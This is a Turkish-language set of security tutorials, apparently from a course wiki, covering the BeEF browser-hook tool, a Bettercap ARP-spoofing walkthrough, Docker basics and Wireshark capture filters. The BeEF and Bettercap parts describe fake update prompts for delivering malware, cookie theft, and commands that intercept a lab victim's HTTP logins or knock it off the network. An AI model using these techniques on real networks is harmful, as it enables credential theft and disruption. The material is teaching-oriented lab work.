<figure><img src="/files/2fXeNh5U5wbmBBMG1Hy0" alt=""><figcaption></figcaption></figure>

Üstüne tıkladığımızda browser hakkkında bilgiler ve yapabileceklerimizi görebiliyoruz.

<figure><img src="/files/2PCbncviFZ9SsfJ558L4" alt=""><figcaption></figcaption></figure>

Bu arayüz üzerinden Details sekmesinden browser hakkında ve cihaz hakkında temel bilgileri alabiliyoruz.

Logs sekmesinden ise tarayıcı ile girdiğimiz etkileşimlerin kayıtları bulunuyor.

Commands sekmesinde browser sınırları içinde yapabileceğimiz komutlar bulunuyor. Birkaç tanesine bakalım.

#### Kullanıcıyı farklı bir sayfaya yönlendirme

Arama kısmına Redirect Browser yazdığımızda ve açılan pencerede verdiğimiz URL'e göre kullanıcıyı o siteye yönlendirebiliriz.

#### Kullanıcıya Fake Flash Update uyarısı çıkarmak

Arama kısmına Fake Flash Update yaptığınızda ve sağ tarafta bulunan payload URI kısmını istediğiniz bir linke doldurup. Kullanıcıya gönderdiğinizde kullanıcının ekranına şöyle bir çıktı geliyor.

<figure><img src="/files/0xUgkzVKKJVv1DJDnQ7c" alt="" width="563"><figcaption></figcaption></figure>

Eğer kullanıcı herhangi bir yere dokunursa verdiğiniz URL'e yönlendirilir. Belki de bu sayede kullanıcıya zararlı yazılım yüklemesini sağlayabilirsiniz.

#### Kullanıcının ekranında müzik çalmak

Arama kısmın Play Sound yazdığınızda sağ tarafta Soun File Path olarak gözüken kısma bilgisayarınızda bulunan bir müzik dosyasının pathini girin. Sonrasında execute tuşuna bastığınızda eğer kullanıcı tarayıcısında müzik çalma iznini vermişse istediğiniz müzik çalacaktır.

Sonuç olarak BeEF toolunun temel olarak kullanımını öğrendik. BeEF toolu basit olarak öğrendiklerimizden daha çok şey yapabiliyor. Kullanıcıların cookie ve session değerlerini çalabiliyor. Kullanıcıların kullandığı anti-virüs programları, VLC, Windows Media Player gibi uygulamaların sürümlerini görebiliyor.

Eğer telefon kullanan bir kullanıcıyı bağladıysanız beep sesi çıkarma, fake arama yapma, konum tespit etme, ses kaydetme, kişi listelemesi gibi şeyler yapabiliriz.

Daha detaylı bilgi için BeEF'in kaynak koduna bakabilirsiniz.

<https://github.com/beefproject/beef>

{% embed url="<https://github.com/yavuzkuk>" fullWidth="false" %}
Bu yazı Yavuz Kuk tarafından hazırlanmıştır.
{% endembed %}


# Bettercap

## Man in the middle saldırısı nedir?

"Man-in-the-Middle" (MITM), Türkçe olarak "Ortadaki Adam" anlamına gelir. Bu tür bir saldırıda, bir saldırgan iletişim kurmak isteyen iki taraf arasına girer ve onların arasında veri trafiğini kontrol eder. Bu, saldırganın, iletişimi izlemesine, dinlemesine veya hatta manipüle etmesine olanak tanır.

<figure><img src="/files/sVgNUbTASNPx4JXPFQyE" alt="" width="600"><figcaption></figcaption></figure>

## ARP saldırısı nedir?

ARP (Address Resolution Protocol) saldırısı, ağ güvenliğini tehlikeye atan bir tür ortadaki adam (Man-in-the-Middle) saldırısıdır. Bu saldırıda, saldırgan ağdaki bir cihazın (örneğin, bir bilgisayarın veya yönlendiricinin) IP adresini alır ve kendi MAC adresiyle ilişkilendirir. Böylece, saldırgan ağdaki diğer cihazlara, özellikle de ağ geçidi gibi önemli cihazlara, sahte IP ve MAC adresleri sağlar.

Bu saldırı, ağda iki cihaz arasındaki iletişimi etkiler. Örneğin, bir bilgisayarın IP adresiyle iletişim kurmak isteyen diğer cihazlar, saldırganın sahte MAC adresine yönlendirilir. Bu durumda, saldırgan tüm trafiği gözlemleyebilir, manipüle edebilir veya hatta çalmak için kullanabilir.

## Bettercap aracı nedir ne işe yarar?

Bettercap, ağ saldırıları gerçekleştirmek, ağ trafiğini izlemek ve analiz etmek için kullanılan bir açık kaynaklı ağ güvenlik aracıdır. Bu araç, özellikle ağ güvenliği uzmanları ve pentester'lar (penetrasyon test uzmanları) tarafından kullanılır. Bettercap, MITM (Man-in-the-Middle) saldırıları, ARP spoofing, DNS spoofing gibi çeşitli saldırılar gerçekleştirebilir. Ayrıca ağ trafiğini izleyebilir, analiz edebilir ve belirli protokolleri manipüle edebilir. Bunlar, ağ güvenliğini test etmek ve güvenlik açıklarını tespit etmek için kullanılır.

## Giriş

<figure><img src="/files/BhF4c4IFFrjI5nBDRuho" alt="" width="400"><figcaption></figcaption></figure>

Öncelikle **apt-get install bettercap** komutu ile bilgisayarımıza bettercap uygulamasını kuruyoruz.

Bettercap aracı ile istenilen sonuca toplamda **4** fazda ulaşırız:

**1. Analiz Fazı**\
**2. Saldırı Fazı**\
**3. Görüntüleme Fazı**\
**4. Hassas Verilerin Elde Edilme Fazı**

Aracımızda **bettercap –help** komutu ile çeşitli başlatılma parametrelerini görebilmekteyiz.

<figure><img src="/files/yfx4F4Drn9o2MDn2nT7A" alt="" width="600"><figcaption></figcaption></figure>

Kullanılması işlevsel olacak parametreler:

**bettercap –help** komutu ile ilgili bettercap toolumuzun çeşitli başlatılma parametrelerini görebilmekteyiz.\
**-iface (string)**: Ağınızdaki bağlantı arayüzlerini görüntüleyip ilgili IP numaranızı öğrenmenizi sağlar. Komut işletimcisinde çalıştırılan ifconfig komutundan farkı IP adresinizi bulmanın yanısıra ilgili IP adresinin hangi bağlantı arayüzü vasıtasıyla cihazınıza atandığını belirtir.\
**-autostart (string)**: komutu ile bettercap başlatıldığında otomatik olarak başlatılmasını istediğiniz modülleri arasına virgül koymak şartıyla girdiğimiz takdirde istenilen modüller başlatılacaktır.

**-caplet (string)**: Bettercap capletleri veya .cap dosyaları, Bettercapin etkileşimli oturumlarını kodlamanın güçlü bir yoludur; bunları Metasploitin .rc dosyaları olarak düşünün.Bettercap aracımızıda yüklü default .cap dosyaları listesi:

<figure><img src="/files/TTs9sCVatsB1FC46vu74" alt="" width="750"><figcaption></figcaption></figure>

**-debug**:komutu hata aldığımız takdirde hata ayıklama prosedürünü çağırarak ilgili hatanın giderilmesi için uygulamayı çalıştırır.\
**-env-file (string)**: ilgili komut uygulama harici bir çevresel değişkeni bettercap ile kullanılabilmesine imkan tanır.

## Analiz Fazı

Man in the Middle(MITM) saldırısına başlamak için öncelikle **ifconfig** komutu ile ilgili cihazımızın kullandığı internet arayüzlerini(interface) ve bilgilerini görmemiz gerekecektir.

<figure><img src="/files/fOz8sCetI95vUGXXEN1R" alt="" width="750"><figcaption></figcaption></figure>

Eğer harici bir wifi kartı taktıysanız ilgili çıktıda wlan0 olarak karşımıza çıkacaktır. Eth0 da yer alan inet 192.168.136.129 adresi cihazımızın IP bilgisini içermektedir. İlgili IP adresi router tarafından tarafımıza atanan IP adresimiz olarak adlandırırız. Bettercap aracımızda interface belirtmek üzere kullanacağımız bir parametre bulunmaktadır. Biz burada sanal makinemizde nat ağında olduğumuz için eth0 network arayüzünü seçeceğiz. Bunun için **bettercap -iface eth0** komutunu kullanmamız gerekmektedir.

<figure><img src="/files/CCh5024GgX88AFNFQ6oA" alt="" width="750"><figcaption></figcaption></figure>

Şu anda bettercap çalışmaktadır.Bu sırada **help** komutu ile bettercap aracımızda çalışan modülleri görüntüleyebilirsiniz.

<figure><img src="/files/0SFfxP0OZS3Hoo2L9HH9" alt="" width="300"><figcaption></figcaption></figure>

Hedef makinenin IP adresini öğrenmek M.I.M için önceliğimiz olmalıdır. Bağlandığımız Router cihazımıza bağlı diğer IP adreslerini tespit etmek için **net.probe** modulünü kullanmak kritik bir önem taşımaktadır.

Aşağıda ilgili modülün **net.probe on** komutunun çıktısı bulunmaktadır. Ağımızdaki diğer IP adreslerini bizlere sunmuştur.

<figure><img src="/files/30VsJDjoaRfrrH8hjTYL" alt="" width="550"><figcaption></figcaption></figure>

Daha detaylı ve düzenli bir görünüm elde etmek için net.show komutunu kullanarak ağımızdaki diğer cihazların IP, MAC adresi, Makine adı gibi kritik bilgilere ulaşabiliriz.

### Bettercap ile IP Taraması nasıl yapılır?

Bettercap bu bilgilere ARP taraması yaparken, ağdaki cihazlara ARP istekleri gönderir ve bu isteklere yanıt veren cihazlardan gelen bilgileri kullanarak IP ve MAC adreslerini toplar. Bu bilgiler daha sonra kullanıcıya sunulur veya işlenir.\
Peki ilgili IP adreslerini Bettercap nasıl topllar ve bize sunar?\
IP taraması yapmak için Bettercap, altında çalışan birçok farklı modül ve yetenek sunar. Bunlardan bazıları:\
**ARP Scan (Arp Taraması)**: Bettercap, ağdaki cihazları tespit etmek için ARP taraması yapabilir. Bu, ağda bulunan cihazların IP ve MAC adreslerini toplar.\
**MDNS Scan (Multicast DNS Taraması)**: Bettercap, Multicast DNS protokolü kullanılarak ağdaki cihazları tespit edebilir. Bu, ağdaki çeşitli cihazların isimlerini ve IP adreslerini ortaya çıkarabilir.\
**DHCP Client List Scan (DHCP İstemci Listesi Taraması)**: Bettercap, DHCP istemci listesini kullanarak ağdaki cihazları tespit edebilir. Bu, ağdaki dinamik olarak IP adresi atanmış cihazların listesini sunar.\
**Nmap Entegrasyonu**: Bettercap, Nmap gibi harici araçları kullanarak daha kapsamlı tarama işlemleri yapabilir. Nmap, farklı protokolleri kullanarak detaylı port taramaları ve hedef cihazların hizmetlerini belirleme gibi işlevler sunar.

Bu tablodaki **gateway adresi** M.I.M saldırısı anlamamız için çok önemli.

<figure><img src="/files/VhkFkStvjVAawcSJjOp0" alt="" width="750"><figcaption></figcaption></figure>

Hedef IP’mizi 192.168.136.130 olarak belirleyelim.Aşağıda hedef cihazımızın bilgilerini görmektesiniz:

<figure><img src="/files/ZzUiW7z9xWY8cHZLg8rK" alt="" width="750"><figcaption></figcaption></figure>

Windows hedef cihazımızda **arp -a** komutu ile ağıımızda olan saldırdığımız Kali Linux makinemize ait IP ve MAC adresini görmekteseniz.\
İlgili Kali Linux makinemizin:\
IP adresi: 192.168.136.129 ve MAC Adresi: 00-0c-29-7e-8f-b8

<figure><img src="/files/gIyP5nS1E9ie2fmDU4mF" alt="" width="750"><figcaption></figcaption></figure>

### Bettercap ile Man in the Middle Saldırısını Anlamak

M.I.M saldırısı bu noktada 192.168.136.129 IP numaralı Kali Linux cihazımızın MAC adresini, Gatewayin MAC adresi ile değiştirerek ağa bağlı olan hedef Windows makinesinin web isteklerini biz routermışız gibi bizim üstümüzden ilgili network serverlarına iletilecektir.

## Saldırı Fazı

**help arp.spoof** komutu ile ilgili modulün parametrelerine göz atalım. Gerekli konfigürasyonları yaptıktan sonra saldırımızı başlatabiliriz. Göründüğü üzere **arp.spoof.fullduplex default olarak false**. Bunu **set arp.spoof.fullduplex true** komutu ile true durumuna ayarlamamız gerekmektedir.

<figure><img src="/files/GiwuVn7Udz1agRnOJaO5" alt="" width="750"><figcaption></figcaption></figure>

Ardından **set arp.spoof.targets \[Hedef IP]** komutu ile saldıracağımız hedef IP adresini bettercap toolumuz için hedef göstermeliyiz. **arp.spoof on** komutu ile de saldırımızı başlatmış olacağız.

Ek bilgi: Eğer hedef makinenin web faaliyetlerini izlemek gibi bir amacınız yoksa sadece ağdan düşürmek istiyorsanız **set arp.spoof.targets \[Hedef IP]; arp.ban on** komutu kullanılabilmektedir. Bu komut hedefe router tarafından verilen IP adresinin router tarafından yasaklanmasına dayanmaktadır.

Saldırıyı başlattıktan sonra aşağıdaki ekran görüntüsünde görüldüğü üzere saldırı yapan Kali Linux makinemizin Mac adresi Gateway Mac adresi ile aynı oldu! Aradaki farkı ilk **arp -a** komutu ile saldırıyı başlattıktan sonra çalıştırılan **arp -a** komutunun çıktılarından doğrulayabiliriz. Hedef cihazın web isteklerini artık okuyabiliriz.

<figure><img src="/files/UXHJMxb7ryeTAdx1giPZ" alt="" width="750"><figcaption></figcaption></figure>

## Görüntüleme Fazı

Saldırı fazından sonra net.sniff modülümüzü kullanmalıyız. **net.sniff on** komutu ile ilgili hedef makinenin routerımıza attığı istekleri okuyabilir durumda olacağız. Hedef Windows makinemiz ile Facebook web sitesine giriş yapalım.

<figure><img src="/files/KusBMo0sufuIb33UQzKd" alt="" width="750"><figcaption></figcaption></figure>

## Hassas Verilerilerin Elde Edilme Fazı

**net.sniff on** komutu ile izlediğimiz facebook sitesine istek var mı tespit edelim! Bunu terminalimizin sol üst barında bulunan **Actions -> Find** kısmında web istekleri arasında bulunmak istenilen aktiviteye ait doğru kelimeleri yazarak kolayca aratabiliriz. Örneğin; "website ismi,username,username,usr,password,passwd,vb.."

<figure><img src="/files/rbWkRfST5la3N8FmSkah" alt="" width="750"><figcaption></figcaption></figure>

Artık istediğimiz üzere hedef makinenin **HTTP adresli** web isteklerini dilediğimiz gibi izleyebiliriz!

### HTTP istekleri ve HTTPS istekleri

HTTP trafiğini izlemek ve manipüle etmek, HTTPS trafiğini izlemek ve manipüle etmekten daha kolaydır. HTTP, açık metin protokolü olduğu için, **HTTP istekleri ve yanıtları okunabilir** ve manipüle edilebilir.

Ancak, HTTPS, HTTP üzerinde SSL/TLS (Secure Sockets Layer/Transport Layer Security) protokollerini kullanarak **şifrelenmiş** bir iletişim kanalı oluşturur. Bu şifreleme, iletişimi dinlemek ve içeriğine müdahale etmek için geleneksel **MITM saldırılarına karşı koruma sağlar.** Dolayısıyla, Bettercap gibi araçlar, HTTPS trafiğini izlemekte ve manipüle etmekte daha sınırlıdır. **Bu yüzden önceki örneğimizde yer alan facebook sitesine giden sadece istekleri görüntüleyebiliriz. Gönderilen verileri okuyamayız.**

## Örnek

Bir örnek daha yapalım ve hedefin girmiş olduğu hassas bilgileri görüntüleyelim. Hedef makinemizden **http adresli** "unicornitems.com/my-account/" adresine giriş yapıp rastgele üyelik bilgileriyle giriş yapmayı deneyelim:

<figure><img src="/files/y9gyQxnwenigcUnZsRO0" alt="" width="750"><figcaption></figcaption></figure>

Kullanıcı bilgileri rastgele olduğu için uyarı mesajı döndü fakat amacımız üyelik girişi değil.

<figure><img src="/files/flNiHJvudn28X29Zyk0Y" alt="" width="750"><figcaption></figcaption></figure>

Saldırı yaptığımız Kali Linux makinemizde dinlediğimiz ver içinden girilen kullanıcı adı ve parolası bilgilerini kontrol etmek için password kelimesini aratıyoruz ve hedef makinemizin girmiş olduğu bilgileri görüntüleyebiliyoruz!**Tebrikler!**

<figure><img src="/files/zj8VI3oAgLoFzgsoo6qi" alt="" width="900"><figcaption></figcaption></figure>

{% embed url="<https://github.com/boracicekk>" fullWidth="false" %}
Bu yazı Bora Çiçek tarafından hazırlanmıştır.
{% endembed %}


# Docker

## 1 - Docker

### 1.1 Konteyner

#### Nedir?

Konteyner, bir uygulamanın veya bir hizmetin kendi kütüphaneleri ve bağımlılıkları ile birlikte dış ortam ve uygulamalardan izole bir şekilde tutulmasına denir. Bu, bir tür sanallaştırma teknolojisidir.

#### Konteyner != Sanal Makine (VM)

* Sanal makineler genellikle daha fazla sistem kaynağına ihtiyaç duyar ve daha uzun başlatma sürelerine sahiptir.
* Konteynerlara kıyasla, hafif ve hızlı dağıtım gerektiren senaryolarda sanal makineler daha ağır bir seçenek olabilir.
* Sanal makineler, daha fazla izolasyon içeren yerlerde tercih edilebilirler.

Aşağıdaki resimde görüldüğü gibi, sanal makinelerin hepsi işletim sistemi üzerine kurulmuştur. Dolayısıyla izolasyonları konteynerlara kıyasla daha fazladır, ancak bu hızlı dağıtım ve taşınabilirliği azaltır.

Ancak konteynerlarda fazladan işletim sistemi yoktur, dolayısıyla sanal makinelerden daha az yer kaplarlar.

![Difference](https://i.hizliresim.com/87v482l.jpg)

#### Örnek

Diyelim ki backend ve database olarak PostgreSQL kullanacağız. Bu işi konteynerlarda yapmak hızlı ve minimum yer kaplarken, sanal makinelerde yapmak için iki ayrı işletim sistemi kurmak ve gerekli programları eklemek gerekmektedir; bu da gereksiz yer ve zaman harcamaya neden olur.

### 1.2 Docker

#### Nedir?

Docker, konteyner'ları oluşturmak, yönetmek ve çalıştırmak için bir dizi araç ve hizmet sunan bir platformdur.

#### Neden Kullanılır?

* İzolasyon
* Taşınabilirlik
* Hızlı dağıtım
* Kaynak Verimliliği

Docker, hızlı dağıtım ve taşınabilirliği image'ler yardımı ile yapar. Image'ler sayesinde bir satır komut ile istediğimiz uygulamayı indirip kullanabiliriz. İleride daha çok değineceğiz.

#### Örnek

Diyelim ki bir Backend ve bir Web Server'imiz var. Bu iki program da A paketinin x.x.x sürümünü kullansın. Şimdi eğer bizim Backend'e bir güncelleme geldiğinde ve artık A paketinin x.x.y sürümünü istediğinde ne yapacağız? Bizim Backend'imiz A pakettenin x.x.y sürümünü istiyor ancak Web Server'imiz A paketinin x.x.x sürümünü istiyor. Yani kısaca sürüm uyuşmazlığı yaşanıyor. Bu gibi durumlarda Docker kullanılabilir. Biz gidip Backend'i bir konteyner içine alacağız ve içine A paketinin x.x.y sürümünü yükleyeceğiz, aynı şekilde Web Server'i konteyner içine alacağız ve içine A paketinin x.x.x sürümünü yükleyeceğiz. Böylelikle bu iki uyuşmayan program, artık birlikte konteyner'lar yardımıyla kendi kütüphaneleri ve bağımlılıklarını kullanarak çalışabiliyorlar.

#### Nasıl Kullanılır?

Ben burada Docker Desktop uygulamasını anlatmak yerine biraz command line üzerinden en çok kullanılan komutları anlatmayı daha uygun gördüm.

**Global**

* **`docker search image:tag`**: [Docker Hub'tan](https://hub.docker.com/) bir imaj arar.
* **`docker pull image:tag`**: [Docker Hub'tan](https://hub.docker.com/) bir imajı indirir.

**Network**

* **`docker network create name`**: Kendi ağınızı oluşturur.
* **`docker network ls`**: Oluşturulan tüm ağları listeler.
* **`docker network rm network_id`**: Belirtilen ağı siler.

**Image**

* **`docker images` / `docker image ls`**: Bilgisayarınıza yüklenmiş tüm imajları listeler.
* **`docker image rm image_id`**: Belirtilen imajı siler.
* **`docker image inspect <image>`**: İmaj hakkında detaylı bilgi sağlar.
* **`docker image build dockerFilePath` / `docker build dockerFilePath`**: Docker Dosyası kullanarak özel bir imaj oluşturmanızı sağlar.
* **`docker run [OPTIONS] image [COMMANDS]`**: Bir imajı kullanarak bir konteyner oluşturur. \[COMMANDS] tamamlandıktan sonra kapanır.
  * **OPTIONS**:
    * `--name`: Konteynera özel bir isim atar.
    * `--rm`: Konteyner işini bitirdikten sonra otomatik olarak kendini siler.
    * `-it`: Konteyneri interaktif modda başlatır ve terminali size bağlar.
    * `-p`: Konteynerin belirli bir portunu ana makineye yönlendirmek için kullanılır.
    * `-d`: Konteynerı arkaplanda çalıştırır.
    * `-e`: Çevresel değişkenleri belirlemek için kullanılır.
    * `-v`: Ana makinedeki bir dizini veya dosyayı konteynere bağlamak için kullanılır.
    * `--network <name>`: Konteynerin bağlı olduğu ağı belirtir.
    * `--secuity-opt PROFILES`: Konteynerin bağlı olduğu ağı belirtir.
    * `--privileged`: Konteyneri ana makinenin kernel düzeyinde ayrıcalıklı bir modda çalıştırır ve tüm yetkilere sahip olur.
    * `–-cap-add capability`: Konteyner’a yetenek ekler.
    * `-–cap-drop capability`: Konteyner'dan yetenek çıkarır.
      * `ALL`: yazılırsa eğer capabilitiy yerine bütün belirli yetenekleri ekler/çıkarır.
* **COMMANDS**
  * Aslında buradaki komutlar terminalde yazabileceğiniz her şey olabilir.
  * `ls -l`
  * `sleep 3600`

**Containers**

* **`docker ps`**: Çalışan konteyner’ları listeler.
  * `-a`: Çalışan çalışmayan tüm konteyner’ları listeler.
* **`docker start container_id/name`**: Belirli bir Konteyner’ı çalıştırır.
* **`docker stop container_id/name`**: Belirli bir Konteyner’ı durdurur.
* **`docker restart container_id/name`**: Belirli bir konteyner’ı yeniden başlatır.
* **`docker rm container_id/name`**: Belirli bir konteyner’ı siler.
* **`docker exec [OPTIONS] <container_id> [COMMAND]`**: Çalışan bir konteyner’da komut çalıştırmamızı sağlar. Kullanımı `docker run ...` ile benzerdir.
  * **`docker exec my_container ls -l`**: my\_container içinde `ls –l` komutunu çalıştırır.

#### Uygulama

Şimdi sizden basit bir uygulama yapmanızı isteyeceğim, docker'ı açın hello-world image'ini Docker Hub'tan indirin. Kontrol edin bakalım inmiş mi? Bu image'i kullanarak düz bir konteyner oluşturun. işlevi nedir? Çalışıp çalışmayan bütün konteyner'ları listeleyin ve ardından o açtığınız konteyner'ı silmeyi deneyin. Konteyner oluştururken yukarıda öğrendiğiniz bütün OPTION'ları deneyip biraz zaman geçirmenizi tavsiye ediyorum.

### 1.3 Dockerfile

#### Nedir?

Dockerfile, kendi özelleştirdiğimiz imajları oluşturmak için kullanılan bir dosyadır.

#### Nasıl Kullanılır?

* **`FROM image:tag`** Konteyner’ın hangi image’ı temel alacağını beliritir.
* **`RUN command`** İmaj üzerinde komutları çalıştırmak için kullanılır.
* **`COPY hostPath containerPath`** Ana makinadan konteyner içine dosya kopyalamamızı sağlar.
* **`WORKDIR`** Çalışma dizinini belirtir.
* **`EXPOSE`** Konteyner'ın hangi portlarını dış dünyaya açacağını belirtir.
* **`CMD`** Konteyner çalıştırıldığında otomatik olarak çalışacak komutu belirtir.

#### Örnek

Alttaki örnekte ubuntu'nun 18.04 sürümünü temel alacağımı belirttim. Ardından bu image'de olması gereken yükleme işlemlerini run komutu ile gerçekleştirdim. Ana dizinimi /app yaptıktan sonra kendi makinemden ./script.sh 'ı konteyner içine kopyaladım. Son olarak konteyner çalıştığında çalışmasını istediğim komutu yazdım.

```dockerfile
FROM ubuntu:18.04

RUN apt update -y && apt install nano

WORKDIR /app
COPY ./script.sh .

CMD ["./script.sh"]
```

Bu üstteki Dockerfile'ı image yapmak için `docker build -t image_tag dockerfilePath` komutunu yazarız.

### 1.4 Docker Compose

#### Neden Lazım?

Biz `docker run` kullanarak bir tane konteyner çalıştırıyoruz. Peki birden fazla konteyner'ı çalıştırmayı ayrıca bunları birbirine bağlamayı istersek ne yapacağız?

Modern bir site düşünelim. *Backend: golang*, *Web Server: nginx*, *Frontend: react.js* ve *Database: PostgreSQL* olsun. Ben bu siteyi docker'da kaldırmak için yapmam gereken 9 satır komut vardır.

İlk olarak hepsi için `docker build` komutunu kullanıp **Dockerfile** larını kullanarak image'lerini oluşturmak. Sonra bu konteyner'ların birbirleri ile haberleşmesini sağlamak için `docker network create name` ile bir ağ oluşturmak. En son olarak da bu image'lerin hepsi için `docker run` yazıp `--network` tagı veya spesifik konteyner için spesifik option'ları eklemeliyim ki düzgün bir şekilde çalışabilsin.

Bu işlem, açıkça zor ve zaman alıcıdır. Bunu daha kolay yapmak için **docker compose** kullanıyoruz.

#### Nedir?

Docker Compose, Docker tarafından sağlanan ve çoklu konteynerlı uygulamaları tanımlamak, yönetmek ve çalıştırmak için kullanılan bir araçtır.

#### Neden İhtiyacımız Var?

Modern bir site düşünelim. Frontend olarak React, Backend olarak Go, Web sunucusu olarak Nginx, Veritabanı olarak PostgreSQL kullanalım.

Bu senaryoda en az 4 konteyner bulunmaktadır. Konteyner'ları build edeceğiz ve çalıştıracağız aynı zamanda bazı konteynerların birbirine bağlanması için bir ağ oluşturmamız gerekmektedir.

Şimdi minimal bir modern siteyi ayağa kaldırmak için kaç komut kullanmamız gerektiğine bakalım. İlk olarak konteynerları oluşturmamız gerekmektedir. Bu nedenle 4 kez `docker build ...` komutunu kullanırız. Ardından konteynerlar arasında bir ağ oluşturmak için `docker network create ...` komutunu kullanırız ve son olarak konteynerları çalıştırmak için `docker run ...` komutunu kullanırız. Ancak bu şekilde her bir konteyner için komutları hatırlamak ve yazmak zor olabilir.

Yukarıda da belirtildiği gibi toplamda 9 satır komut yazdık ve yalnızca bir minimal modern siteyi çalıştırdık. İşte bu nedenle Docker Compose'u kullanıyoruz.

#### Nasıl Yapılır?

Docker Compose, YAML formatında bir dosya kullanarak birden fazla Docker konteynerini tek bir uygulama olarak tanımlamanıza ve yönetmenize olanak tanır.

Bu dosyayı birden fazla Dockerfile için yazacağınız `docker run ...` komutu olarak düşünebilirsiniz. Her Dockerfile için ayrı ayrı `docker run` bilgilerini giriyorsunuz ve tek komutla bütün Dockerfile'ları build edip çalıştırabiliyorsunuz.

Burada kısa olsun diye backend ve database olarak olarak anlatacağım. Bu kısa bir örnek olacak daha fazla bilgi için kaynakça'ya bakabilirsiniz.

İlk olarak docker-compose.yml dosyası oluşturun.

```docker-compose
version: '3.9'

services:
  backend:
    build: ./backend
    container_name: backend
    restart: always
    ports:
      - "8081:8081"
    depends_on:
      - postgres
    networks:
      - impact

  postgres:
    image: postgres:latest
    container_name: postgres
    environment:
      POSTGRES_USER: "test"
      POSTGRES_PASSWORD: "test"
      POSTGRES_DB: "test"
    ports:
      - "5432:5432"
    restart: on-failure
    volumes:
      - ./backend/script:/docker-entrypoint-initdb.d
      - ./postgres-data:/var/lib/postgresql/data
    networks:
      - impact

networks:
  impact:
    driver: bridge

```

* **version**: Docker Compose versionunu belirtir.
* **services**: Docker Compose dosyasında tanımlanan servislerin başladığı bölümü başlatır.
* **backend**: Burada backend servisinin başladığını gösteriyor. Farklı şeylerde yazılabilir, örneğin web server, frontend gibi.
* **image**: Bu komut, kullanılacak Docker imajını belirtir. Genellikle resmi veya özel Docker imajları kullanılır.
* **build**: Dockerfile'ın yerini belirtir.
* **container\_name**: Oluşturulacak olan konteyner'ın ismini verebilirsiniz.
* **restart**: Bu komut, bir konteynerin ne zaman yeniden başlatılacağını belirtir. `always`, `on-failure` veya `unless-stopped` gibi değerler alabilir.
* **environment**: Bu komut, bir konteynerin çalışma zamanı ortam değişkenlerini belirtir. Örneğin, veritabanı kullanıcı adı ve parolası gibi.
* **volumes**: Bu komut, host makinadaki dizinlerin veya dosyaların konteynere bağlanmasını sağlar. Bu, veri kalıcılığı ve paylaşımı için kullanılır.
* **ports**: Bu komut, bir konteynerin hangi portlarının host makinadaki portlara bağlanacağını belirtir. Genellikle `hostPort:containerPort` formatında kullanılır.
* **depends\_on**: Bu komut, bir servisin başlaması için gereken diğer servisleri belirtir. Ancak, bu komut belirli bir servisin hazır olduğunu garanti etmez.
* **networks**: Bu komut, bir servisin hangi Docker ağlarında çalışacağını belirtir. Birden fazla ağa bağlanabilir ve ağlar arası iletişim sağlayabilir.

Yukarıda temel olarak kullanılan docker-compose tagları yer alıyor. Tabii ki daha fazla var. Bunun için kaynakçadan daha fazla bilgi edinebilirsiniz.

Bu örnekte backend servisi alttaki Postgres servisini kullanıyor ve network aracılığı ile birbirleri ile etkileşim halindeler. Şimdi bu servisleri alttaki komutlar ile çalıştırıp kullanıma hazır hale getirebilirsiniz.

* `docker compose build`: Bu komut, belirtilen docker dosyalarını (Dockerfile'ları) kullanarak tüm hizmetlerin imajlarını oluşturur.
* `docker compose up`: Bu komut, diğer parametrelere göre belirtilen tüm hizmetler için bir `docker run` komutu oluşturur.
* `docker compose up --build`: Yazarak tek seferde iki işlemi yapabilirsiniz.

## Kaynakça

<details>

<summary>Docker için Kaynakça</summary>

* [Intro to Docker LAB](https://tryhackme.com/room/introtodockerk8pdqk)
* [Kablosuz Kedi](https://www.youtube.com/watch?v=4XVfmGE1F_w\&t=922s\&ab_channel=kablosuzkedi)
* [Mosh](https://www.youtube.com/watch?v=HG6yIjZapSA\&t=81s\&ab_channel=ProgrammingwithMosh)
* [Compose Samples](https://github.com/docker/awesome-compose)

</details>

{% embed url="<https://github.com/cetinboran>" fullWidth="false" %}
Bu yazı Çetin Boran Mesüm tarafından hazırlanmıştır.
{% endembed %}


# Gelişmiş Wireshark Kullanımı (Advanced Wireshark Usage)

<figure><img src="/files/5TX8mtvfdPlS4ESa2Xxg" alt=""><figcaption></figcaption></figure>

Dünyanın en çok kullanılan network analiz programlarından bir tanesi Wireshark'tır. Açık kaynak kodlu ve ücretsizdir. Windows, Macintosh ve Linux gibi birden fazla platformda çalışabilmektedir. Ve network analistlerinin şirketlerdeki bir sorunda ilk sarılacağı program denebilir. 1997'de network analiz dünyası fiyatı 5000 ila 20000 dolar arasında değişkenlik gösteren analiz programlarından ibaretti. O dönemde aktif olarak bu programları kullanan Gerald Combs, Wireshark'ın ve diğer taşınabilir network sniffer'ların atası olan Ethereal'i geliştirdi. Fakat bu marka isminin ticari haklarına sahip olmadığı için ismini Wireshark olarak değiştirdi ve piyasaya sürdü.

## Wireshark Nasıl Çalışır ?

<figure><img src="/files/u2vnfpVLs3uxqBIuJ3HH" alt=""><figcaption><p>Yakalanan verinin işlenmesini şematik olarak anlatan bir görsel.</p></figcaption></figure>

Network kartından gelen veriyi LibPcap, WinPcap, AirPcap, Npcap gibi kütüphaneler aracılığıyla işleyip Capture Engine'e taşır. Capture Engine, paketleri ne zaman yakalamaya başlanacağını ve ne zaman durdurulacağını organize eden kısımdır. Burada yakalanan veri henüz işlenmemiş ve hex veri olarak durmaktadır. Daha sonra bu veri Core Engine'e aktarılır. Burada, son kullanıcının görebileceği şekilde işlenir ve son string halini alır. Öte yandan, anlık olarak yakalanan paketlerin incelenmesinin yanı sıra, diskte bulunan herhangi bir pcap dosyasını WireTap kütüphanesi aracılığıyla işleyerek yine Wireshark içerisinde inceleme yapılabilir.

## Yakalama Filtreleri

Wireshark'ta capture filtreleri, ağ trafiğini analiz etmek için kullanılan önemli araçlardan biridir. Syntax olarak Berkeley paket filtreleme yöntemini kullanırlar. Bu filtreler, yakalanan veri miktarını azaltarak sadece belirli trafiği görmenizi sağlar. Bu filtrelerden bazıları şunlardır ;

* **Host**: Belirli bir kaynak veya hedef IP adresini filtrelemek için kullanılır. Örneğin, `host 192.168.1.1`.
* **Port**: Belirli bir kaynak veya hedef port numarasını filtrelemek için kullanılır. Örneğin, `port 80` veya `portrange 1000-2000`.
* **Protocol**: Belirli bir protokolü filtrelemek için kullanılır. Örneğin, `tcp` veya `udp`.
* **Net**: Belirli bir ağ veya alt ağı filtrelemek için kullanılır. Örneğin, `net 192.168.1.0/24`.
* **Src/Dst**: Kaynak veya hedef adresi belirtmek için kullanılır. Örneğin, `src host 192.168.1.1` veya `dst net 10.0.0.0/24`.
* **Logical Operators**: Filtreler arasında mantıksal bağlantılar kurmak için kullanılır. Örneğin, `and`, `or`, `not`.
